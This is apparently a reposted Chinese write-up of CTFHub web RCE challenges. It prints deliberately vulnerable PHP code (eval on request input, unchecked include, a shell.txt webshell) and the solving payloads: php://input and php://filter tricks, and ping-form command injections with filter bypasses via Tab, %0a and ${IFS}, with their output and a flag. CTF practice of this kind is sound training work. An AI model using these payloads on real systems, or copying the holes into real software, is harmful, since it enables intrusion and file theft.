Ctfhub解题 web RCE
介绍:记录解题过程
1. eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
- 存在任意命令执行漏洞
- 连接使用蚁剑连接后台
- flag在根目录
2.文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
shell.txt:
<?php eval($_REQUEST['ctfhub']);?>
1. PHP include 和 require 语句:
通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。
2. strpos() 函数返回字符串在另一个字符串中第一次出现的位置。
3. `$_REQUEST`在php手册中,这个变量解释为:`默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。` (存在任意命令执行漏洞)
-
利用shell.txt中的任意命令执行漏洞和首页的include文件包含
-
连接使用蚁剑连接后台
-
flag在根目录
3.php://input
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
- substr():
string substr ( string $string , int $start [, int $length ] ),它可以用于在一个较长的字符串中查找匹配的字符串或字符。$string为所要处理的字符串,$start为开始选取的位置,$length为要选取的长度
- 利用php://input伪协议和首页的include文件包含执行任意命令
- 搜索flag
3.读取flag
4.读取源代码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag
- 利用
php://filte
伪协议读取
?file=php://filter/read=convert.base64-encode/resource=/flag
2.解码得到flag
5.远程包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
- error_reporting() 设置 PHP 的报错级别并返回当前级别。
- 步骤同
3.php://input
基本一致
-
利用php://input伪协议和首页的include文件包含执行任意命令
-
搜索flag
-
读取flag
6.命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
- 命令注入
127.0.0.1&ls
- 查看网页源码得到flag
127.0.0.1&cat 70452865227959.php
7.过滤cat
- linux 读取文件内容命令:
1.命令注入
127.0.0.1&ls
Array
(
[0] => flag_282101143512917.php
[1] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[2] => index.php
)
- 查看网页源码得到flag
127.0.0.1&nl flag_282101143512917.php
8.过滤空格
这次过滤了空格,你能绕过吗
- 用
Tab
代替空格
- 命令注入
127.0.0.1&ls
Array
(
[0] => flag_318882256329251.php
[1] => index.php
[2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
- 查看网页源码得到flag
127.0.0.1&cat flag_318882256329251.php
9.过滤目录分隔符
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
- 命令注入
127.0.0.1&ls
Array
(
[0] => flag_is_here
[1] => index.php
[2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
- 切换目录
127.0.0.1&cd flag_is_here;ls
Array
(
[0] => flag_24415123961579.php
[1] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
- 查看网页源码得到flag
127.0.0.1&cd flag_is_here;cat flag_24415123961579.php
10.过滤运算符
过滤了几个运算符, 要怎么绕过呢
- 直接用url
- 命令注入
http://challenge-65fa7eae13f43fc4.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0als#
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_24592924918628.php
[2] => index.php
)
- 查看网页源码得到flag
http://challenge-65fa7eae13f43fc4.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acat flag_24592924918628.php
11.综合过滤练习
- 直接用url
- 命令注入
http://challenge-65fa7eae13f43fc4.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0als#
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index.php
)
- 利用%0a绕过& ;
${IFS}绕过空格
fla* 不用知道flag的具体名字
http://challenge-0a3e11050c5901ae.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acd${IFS}fla*%0aless${IFS}fla*#
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => <?php // ctfhub{dcba399fd7939ff843a6230e}
)
</pre>
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92709.html